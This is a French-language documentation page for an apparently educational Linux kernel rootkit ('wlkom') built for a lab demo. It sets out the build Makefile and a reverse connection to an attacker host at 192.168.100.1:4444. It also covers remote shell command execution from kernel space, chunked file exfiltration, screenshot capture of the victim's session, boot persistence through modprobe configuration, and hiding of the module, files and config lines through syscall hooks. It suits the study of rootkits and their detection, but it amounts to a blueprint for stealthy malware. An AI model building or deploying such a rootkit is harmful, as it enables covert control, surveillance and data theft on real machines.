Aller au contenu principal

Fonctionnalités rootkit

Cette page détaille les fonctionnalités une par une: comment elles sont faites, quels fichiers les portent et pourquoi elles fonctionnent dans le projet. Les notions kernel utilisées ici sont expliquées plus lentement dans Références techniques.

Compilation

Fichiers:

rootkit/Makefile
rootkit/src/
rootkit/include/

Commande source:

cd rootkit
make

Commande dans la VM attaquante:

~/build-demo-rootkit.sh

Le Makefile construit un module externe:

obj-m += wlkom.o
ccflags-y := -I$(src)/include
wlkom-objs := \
src/core/main.o \
src/core/module_parameters.o \
src/core/symbols.o \
src/crypto/xor_stream.o \
src/storage/hidden_directory.o \
src/userland/helper_runner.o \
src/userland/file_reader.o \
src/commands/command_capture.o \
src/commands/file_transfer.o \
src/commands/screenshot.o \
src/hooks/hidden_names.o \
src/hooks/dirent_filter.o \
src/hooks/dirent_hooks.o \
src/hooks/read_filter.o \
src/hooks/ftrace_hooks.o \
src/network/socket_io.o \
src/network/command_router.o \
src/network/protocol.o \
src/network/connection.o
KERNEL_DIR := /lib/modules/$(shell uname -r)/build

Pourquoi compiler côté attaquant? La victime n'a pas besoin de headers ni de chaîne de compilation. Elle télécharge seulement le .ko. La contrainte est le vermagic: le module doit être compilé pour le même noyau que celui qui le charge. Pour le détail de Kbuild, voir Kbuild et vermagic.

Connexion reverse persistante

Fichiers:

rootkit/src/network/connection.c
rootkit/src/network/socket_io.c
rootkit/src/network/protocol.c
rootkit/src/network/command_router.c
attacking_program/backend/rootkit/controller.py
attacking_program/backend/rootkit/transport.py

Le module contacte:

192.168.100.1:4444

Boucle kernel:

  1. sock_create_kern
  2. kernel_connect
  3. échec: ssleep(10) puis nouvel essai
  4. succès: reset des offsets crypto
  5. handshake
  6. session authentifiée
  7. fermeture socket, ssleep(5), retry.

À l'arrêt du module, kernel_sock_shutdown(..., SHUT_RDWR) coupe la socket active avant kthread_stop(). Cela évite qu'une réception bloquée dans kernel_recvmsg() empêche le thread de terminer.

Les notions kthread_run, kthread_stop, ssleep, sock_create_kern, kernel_connect, kernel_sendmsg, kernel_recvmsg et kernel_sock_shutdown sont expliquées dans Kthreads et Sockets kernel.

Pourquoi une connexion reverse? La victime n'expose pas de port d'écoute. Le module initie la communication vers l'attaquant, ce qui permet au dashboard d'attendre passivement et d'afficher un état clair.

Schéma mental:

wlkom.ko -> socket TCP vers 192.168.100.1:4444 -> backend Flask -> dashboard React

Le dashboard ne parle pas directement au noyau. Il demande au backend d'envoyer une ligne chiffrée sur la socket.

Mot de passe

Le mot de passe est fourni au chargement:

sudo insmod wlkom.ko attacker_ip=192.168.100.1 command_port=4444 password='secret'

Il est obligatoire:

if (!wlkom_password || !wlkom_password[0]) return -EINVAL;

Il sert à:

  • comparer la ligne reçue pendant le handshake
  • dériver la clé XOR
  • recharger le module après reboot via /etc/modprobe.d/wlkom.conf.

Dans module_parameters.c, le paramètre password est déclaré avec permission 0000. Il n'est donc pas exposé en lecture simple dans /sys/module/wlkom/parameters/.

Voir Paramètres de module pour comprendre module_param_named et les permissions octales.

Si le mot de passe est faux, le module renvoie:

Bad password.

Puis il ferme la socket. Ce choix évite de garder une session ambiguë. Le thread réseau retente ensuite une nouvelle connexion.

Chiffrement réseau

Fichiers:

rootkit/src/crypto/xor_stream.c
rootkit/src/network/socket_io.c
attacking_program/backend/rootkit/crypto.py
attacking_program/frontend/src/crypto.js

Le calcul:

password -> FNV-1a 64-bit -> clé 16 octets -> XOR de flux

Chaque octet est transformé avec:

data[i] ^= key[(offset + i) % 16]

Il existe deux offsets:

OffsetCôté moduleCôté backend
émission modulesend_crypto_offsetrx_offset
réception modulereceive_crypto_offsettx_offset

Pourquoi les offsets sont indispensables? TCP est un flux. Un message envoyé en une fois peut être reçu en plusieurs morceaux, et plusieurs petits messages peuvent arriver ensemble. L'offset transforme le XOR en flux continu plutôt qu'en chiffrement par message.

Limite: FNV-1a et XOR ne sont pas un chiffrement robuste. Ils masquent les octets dans Wireshark, mais n'apportent ni intégrité, ni nonce, ni authentification forte.

Handshake

Dans protocol.c:

  1. le module envoie KOZACITEAM \nPassword: chiffré
  2. il lit une ligne chiffrée
  3. il compare avec wlkom_password
  4. il envoie Authenticated.\n ou Bad password.\n
  5. il envoie le prompt wlkom> avant chaque commande.

Point subtil: la bannière est déjà chiffrée avec une clé dérivée du mot de passe réel. Si l'opérateur saisit un mauvais mot de passe côté dashboard, le backend peut ne même pas réussir à déchiffrer Password:. Le résultat attendu est donc un timeout ou authentication failed, puis la fermeture de la socket. Le rootkit retente ensuite automatiquement une connexion.

Côté backend, la socket arrive d'abord dans _pending_sock. Elle ne devient _sock que si le backend déchiffre la bannière, envoie le mot de passe et lit la confirmation.

Exécution de commandes

Fichiers:

rootkit/src/commands/command_capture.c
rootkit/src/userland/helper_runner.c
rootkit/src/userland/file_reader.c

Le module encapsule la commande:

(<commande>) > /opt/wlkom_data/.cmd.out 2>&1; echo "[exit:$?]" >> /opt/wlkom_data/.cmd.out

Puis lance:

call_usermodehelper("/bin/sh", argv, envp, UMH_WAIT_PROC)

Pourquoi ça fonctionne? call_usermodehelper permet à un module kernel de demander au noyau de lancer un programme userland. Ici, /bin/sh gère les pipes, redirections, commandes complexes et codes de retour. Le module attend la fin, relit .cmd.out, extrait [exit:N], supprime le fichier puis renvoie la sortie.

Les primitives call_usermodehelper, UMH_WAIT_PROC, kernel_read, filp_open et les pointeurs d'erreur sont détaillées dans call_usermodehelper, Lecture de fichiers depuis le noyau et Pointeurs d'erreur.

Le backend garde aussi un cwd logique: une commande normale est envoyée sous forme cd <cwd> && <commande>, tandis qu'un cd simple met à jour l'état côté contrôleur.

Le module ne maintient donc pas un shell interactif permanent. Chaque commande est une exécution séparée. C'est pour cela que le cd durable est géré côté backend.

Upload fichier

Le backend utilise uniquement le protocole chunké:

upload-begin <path>
upload-append <base64> <path>

Pourquoi chunker? Le module lit une commande entrante dans une ligne de WLKOM_RX_SIZE = 160 KiB. Un fichier entier en base64 dépasse vite cette limite. Le backend calcule donc une taille de chunk qui permet à:

upload-append <base64> <path>

de tenir dans une seule ligne kernel.

Le plafond d'upload est volontairement fixé à 120 KiB de base64, soit environ 90 KiB bruts. Comme l'append passe encore par /bin/sh -c, le base64 est inclus dans l'argument shell avec le wrapper printf, la redirection et le chemin distant. Cette marge évite de coller aux limites Linux sur la taille d'un argument unique. Un protocole streaming binaire permettrait des frames plus grandes, mais il serait moins pédagogique pour cette démo.

Conséquence côté mémoire: upload-begin et les commandes de download courtes restent en kzalloc/kfree, tandis que upload-append utilise vzalloc/vfree, car la commande shell complète peut approcher 128 KiB.

Pour les différences entre kzalloc, vzalloc, kvzalloc, GFP_KERNEL et les fonctions de libération, voir Allocations mémoire kernel.

Côté module:

  • upload-begin crée le parent et tronque le fichier
  • upload-append décode le chunk base64 et l'ajoute au fichier.

Le backend shell-quote le chemin avant de l'envoyer. Le module suppose que ce quoting est déjà fait.

Download fichier

Le download fichier utilise uniquement le protocole chunké. Le backend commence par récupérer la taille distante avec stat, puis demande le fichier morceau par morceau:

download-chunk <offset> <length> <path>

Le module exécute:

dd if=<path> bs=1 skip=<offset> count=<length> 2>/dev/null | base64 -w0

et répond:

FILE-CHUNK:<offset>:<length>:<path>
<base64>
[exit:0]

Chaque chunk demandé fait au plus 256 KiB côté backend. Le module refuse les demandes supérieures à 512 KiB, ce qui laisse une marge sans permettre une réponse trop grosse pour le buffer réseau.

Download dossier

Le module n'a pas de commande spéciale native pour les dossiers. Le backend crée d'abord une archive temporaire côté victime:

/opt/wlkom_data/.download-dir.tar.gz

Ensuite, il réutilise le download fichier chunké pour récupérer cette archive morceau par morceau, puis il supprime l'archive temporaire. Cela évite de faire passer tout le dossier dans une seule réponse shell limitée par WLKOM_TX_SIZE.

Aperçu fichier

Le frontend appelle:

POST /api/rootkit/preview-file

Le backend refuse l'aperçu si le fichier distant dépasse 512 KiB. Pourquoi? L'aperçu doit rester interactif. Pour les gros fichiers, le bouton Download utilise le flux chunké.

Screenshot

Commande protocolaire:

screenshot

Le module génère un script shell qui:

  1. identifie une session graphique avec loginctl si disponible
  2. retrouve l'utilisateur, l'UID, le home et le display
  3. choisit un outil disponible parmi gnome-screenshot, scrot, import, xwd + convert
  4. lance l'outil sous l'utilisateur graphique avec runuser
  5. encode le PNG en base64 entre deux marqueurs.

Marqueurs:

__WLKOM_SCREEN_BEGIN__
__WLKOM_SCREEN_END__

Le backend extrait ce bloc, sauvegarde un PNG et le renvoie au navigateur.

Pourquoi c'est best-effort? Une capture graphique dépend de la session utilisateur, de Wayland/X11, des variables d'environnement, des permissions et des outils installés. Le module renvoie un diagnostic texte si aucun outil ne fonctionne.

Persistance

La persistance est installée par freecloude.sh, pas par wlkom.ko.

Fichiers:

/lib/modules/$(uname -r)/kernel/drivers/wlkom.ko
/etc/modules-load.d/wlkom.conf
/etc/modprobe.d/wlkom.conf

Contenu logique:

/etc/modules-load.d/wlkom.conf:
wlkom

/etc/modprobe.d/wlkom.conf:
options wlkom attacker_ip=192.168.100.1 command_port=4444 password=<secret>

Pourquoi ça fonctionne? Au boot, systemd-modules-load lit modules-load.d et demande au noyau de charger wlkom. modprobe cherche le module dans /lib/modules/$(uname -r), applique les options de modprobe.d, puis le module démarre comme lors du chargement initial.

Pourquoi l'installer côté script? Le module reste concentré sur le transport, les hooks et les commandes. Le script utilisateur peut vérifier le vermagic, installer les fichiers et éviter une persistance cassée si insmod échoue.

Pourquoi préparer avant insmod? Les hooks d'accès protègent aussi le module persistant dans /lib/modules/.../wlkom.ko. Une écriture après activation peut donc être refusée par openat, statx, access ou unlinkat. Le flux actuel prépare la persistance après validation du vermagic, charge le module, puis supprime les fichiers préparés en cas d'échec runtime.

Masquage du module

Fichier:

rootkit/src/core/main.c

Code:

list_del_init(&THIS_MODULE->list)

Effet: lsmod et /proc/modules ne voient plus l'entrée classique du module.

Le fonctionnement de THIS_MODULE->list et list_del_init est expliqué dans Masquage du module.

Limite: cela ne supprime pas nécessairement /sys/module/wlkom, les logs dmesg, les références noyau ou les traces déjà observées.

Masquage fichiers et dossiers

Fichiers:

rootkit/src/hooks/dirent_hooks.c
rootkit/src/hooks/dirent_filter.c
rootkit/src/hooks/hidden_names.c
rootkit/src/hooks/access_hooks.c

Règles:

  • nom contenant wlkom
  • nom égal à wlkom_data
  • nom commençant par .wlkom
  • artefacts runtime .cmd.out, .screen.png, .screen.txt
  • lecture d'un répertoire situé sous /opt/wlkom_data
  • accès directs refusés vers /opt/wlkom_data, /sys/module/wlkom et le module persistant wlkom.ko.

Pourquoi ça fonctionne? Les listings sont filtrés via getdents*, puis les accès directs sont bloqués via les hooks de chemins comme openat, statx, access et readlinkat. Le dossier n'est donc pas seulement caché: son accès userland est interdit.

Le détail important pour comprendre le code: getdents* ne voit que des noms dans un dossier, alors que openat et statx reçoivent des chemins. Ce sont deux problèmes différents, donc deux familles de hooks différentes.

Pour les concepts bas niveau, voir getdents, linux_dirent et d_reclen, fdget/d_path et Résolution de chemins kernel.

Masquage des lignes de persistance

Fichiers:

rootkit/src/hooks/read_filter.c
rootkit/src/hooks/hidden_names.c

Les hooks read, pread64 et readv ciblent les chemins de persistance. Le module construit une vue filtrée du fichier puis renvoie seulement la portion demandée par l'appelant. mmap est refusé sur ces fichiers pour éviter de contourner le filtre.

Le filtre ne retire que les lignes ajoutées par le projet:

wlkom
options wlkom ...
/opt/wlkom_data
/lib/modules/.../wlkom.ko

Pourquoi ce filtre est ciblé? Lire tout /etc/modprobe.d ou tout /etc/modules-load.d ne doit pas casser les outils normaux. On retire seulement les lignes liées au rootkit, pas tout le fichier.

mmap est refusé sur ces fichiers parce qu'un programme pourrait mapper le fichier en mémoire sans passer par read. C'est un exemple typique de détail kernel qui paraît secondaire, mais qui casse un masquage si on l'oublie.

Voir Hooks de lecture, readv et iovec et mmap pour relire ces cas sans retourner dans le code.

Repères dans le code

FonctionnalitéFichiers principaux
CompilationMakefile, rootkit/src/, rootkit/include/
Init modulesrc/core/main.c, src/core/module_parameters.c
Résolution symbolessrc/core/symbols.c
Hookssrc/hooks/ftrace_hooks.c, dirent_hooks.c, read_filter.c
Masquage nomssrc/hooks/hidden_names.c, dirent_filter.c, access_hooks.c
Connexionsrc/network/connection.c, socket_io.c, protocol.c
Commandessrc/commands/command_capture.c, userland/helper_runner.c
Transfertssrc/commands/file_transfer.c, backend/rootkit/files.py
Screenshotsrc/commands/screenshot.c, backend/rootkit/screenshots.py
Cryptosrc/crypto/xor_stream.c, backend/rootkit/crypto.py, frontend/src/crypto.js
Persistanceweb_payloads/freecloude.sh, served/setup-victim.sh

Pour approfondir